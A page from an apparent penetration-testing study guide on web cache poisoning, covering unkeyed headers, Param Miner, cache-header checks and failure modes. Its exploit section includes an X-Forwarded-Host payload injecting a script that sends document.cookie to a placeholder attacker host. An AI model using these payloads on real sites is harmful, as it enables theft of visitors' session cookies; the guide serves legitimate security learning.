Skip to content

Web Cache Poisoning

← Back to index · Stage 1 (non-interactive foothold) · Read the mindset page first.

Why it exists: a cache stores a response and serves it to everyone who requests the same cache key (usually the path + query). If an input the cache ignores (an "unkeyed" header) is nonetheless reflected in the response, you can send one request that reflects a malicious value, the cache stores it, and every subsequent visitor — including the admin — is served your payload. It's non-interactive (no victim click needed), which is why the mindset page ranks it highly. Use Param Miner.

The one rule: the payload and the cache key must land on the same response. Confirm your input is unkeyed (doesn't change the cache key) and reflected, then poison. If it's keyed, only you get the payload and it's pointless.

Decision tree

flowchart TD
  A["Is the response cacheable?"] --> B["Add unkeyed-header candidates (Param Miner)"]
  B --> C{"Reflected but doesn't change the cache key?"}
  C -->|yes| D["Make it reflect something harmful"]
  C -->|no| K["Keyed — try cloaking / fat GET"]
  D --> E{"Payload type?"}
  E -->|script URL / HTML| XSS["Reflected XSS from cache"]
  E -->|redirect| RED["Redirect victims to the exploit"]
  XSS --> WIN["Victim served the payload"]
  RED --> WIN
  K --> C

Reading the response: read the cache headers first — X-Cache: hit/miss, Age, Cache-Control tell you whether a response is even cacheable (no cache = no attack). Then the critical read: send your header, then a clean request with no header, and check the clean response contains your value. That — a victim-shaped request receiving your payload — is the only proof that counts; your own poisoned view means nothing.

1. Keyed vs unkeyed — the whole concept

Why it matters: the cache key decides which requests share a cached response. An unkeyed input isn't part of the key — so a response generated with your value gets stored under the key that doesn't include it, and served to requests that never sent it. That's the entire attack. Confirm caching first via X-Cache: hit/miss, Age, and Cache-Control response headers.

2. Find the unkeyed input

# Param Miner -> "Guess headers" finds unkeyed candidates:
X-Forwarded-Host: EXPLOIT
X-Host: EXPLOIT
# then confirm TWO things: (a) your value reflects, and (b) a CLEAN request (no header) now gets your value
Why both checks: reflection alone isn't enough — you must prove a clean request (what a victim sends) receives your poisoned response, which proves the input was unkeyed and the cache served it onward.

3. Exploit

# the unkeyed header is reflected into a resource URL / HTML -> inject a script served from cache:
X-Forwarded-Host: a."><script>fetch('https://EXPLOIT/?c='+document.cookie)</script>
# or reflected into an imported script host -> point it at your server:
X-Forwarded-Host: EXPLOIT

Failure modes

  • Your payload vanishes → the input is keyed (only you got it); find a truly unkeyed one with Param Miner, or try cloaking.
  • Reflects but won't cache → add a cache-buster to your probe, but confirm the real (un-busted) URL gets poisoned — otherwise you only poisoned your own view.
  • Cache busts too fast → re-poison immediately before testing; watch the Age header.
  • Need the admin specifically → poison the exact path the admin loads (home page, a shared resource).
  • Keyed query param → try parameter cloaking (?x=1&x=2 with a delimiter the cache/app parse differently) or a fat GET.